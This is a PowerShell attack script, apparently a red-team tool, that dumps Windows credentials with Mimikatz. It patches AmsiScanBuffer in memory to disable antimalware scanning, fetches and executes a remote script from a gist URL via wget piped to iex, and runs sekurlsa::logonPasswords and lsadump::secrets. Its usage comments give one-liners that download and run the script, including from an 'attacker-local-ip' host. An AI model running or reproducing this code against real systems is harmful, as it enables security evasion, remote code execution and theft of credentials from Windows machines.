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Invoke-OneShot-Mimikatz.ps1 - One Shot for Mimikatz PowerShell Dump All Creds with AMSI Bypass 2022 Edition (Tested and worked on Windows 10 x64 patched 2022-03-26)
# TLDR:
# iex(wget https://gist.github.com/pich4ya/e93abe76d97bd1cf67bfba8dce9c0093/raw/e32760420ae642123599b6c9c2fddde2ecaf7a2b/Invoke-OneShot-Mimikatz.ps1 -UseBasicParsing)
#
# @author Pichaya Morimoto (p.morimoto@sth.sh)
# One Shot for M1m1katz PowerShell Dump All Creds with AMSI Bypass 2022 Edition
# (Tested and worked on Windows 10 x64 patched 2022-03-26)
#
# Usage:
# 1. You need a local admin user's powershell with Medium Mandatory Level (whoami /all)
# 2. iex(wget https://attacker-local-ip/Invoke-OneShot-Mimikatz.ps1 -UseBasicParsing)
# 3. You will get creds
#
# AMSI Bypass is copied from payatu's AMSI-Bypass (23-August-2021)
# https://payatu.com/blog/arun.nair/amsi-bypass
$code = @"
using System;
using System.Runtime.InteropServices;
public class WinApi {
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out int lpflOldProtect);
}
"@
Add-Type $code
$amsiDll = [WinApi]::LoadLibrary("amsi.dll")
$asbAddr = [WinApi]::GetProcAddress($amsiDll, "Ams"+"iScan"+"Buf"+"fer")
$ret = [Byte[]] ( 0xc3, 0x80, 0x07, 0x00,0x57, 0xb8 )
$out = 0
[WinApi]::VirtualProtect($asbAddr, [uint32]$ret.Length, 0x40, [ref] $out)
[System.Runtime.InteropServices.Marshal]::Copy($ret, 0, $asbAddr, $ret.Length)
[WinApi]::VirtualProtect($asbAddr, [uint32]$ret.Length, $out, [ref] $null)
# nishang - 2.2.0 (Jul 24, 2021)
# Change this to "attacker-local-ip" for internal sources
wget('https://gist.githubusercontent.com/pich4ya/144d32262861b573279d15e653c4e08d/raw/6f019c4e2f1f62ffc0754d01dff745d3cec62057/Invoke-SoHighSoHigh.ps1') -UseBasicParsing|iex
# Double single quote here is by intention.
Invoke-SoHighSoHigh -Command '"privile''ge::debug" "token::elevate" "sekurlsa::logonPasswords full" "lsadump::secrets"'
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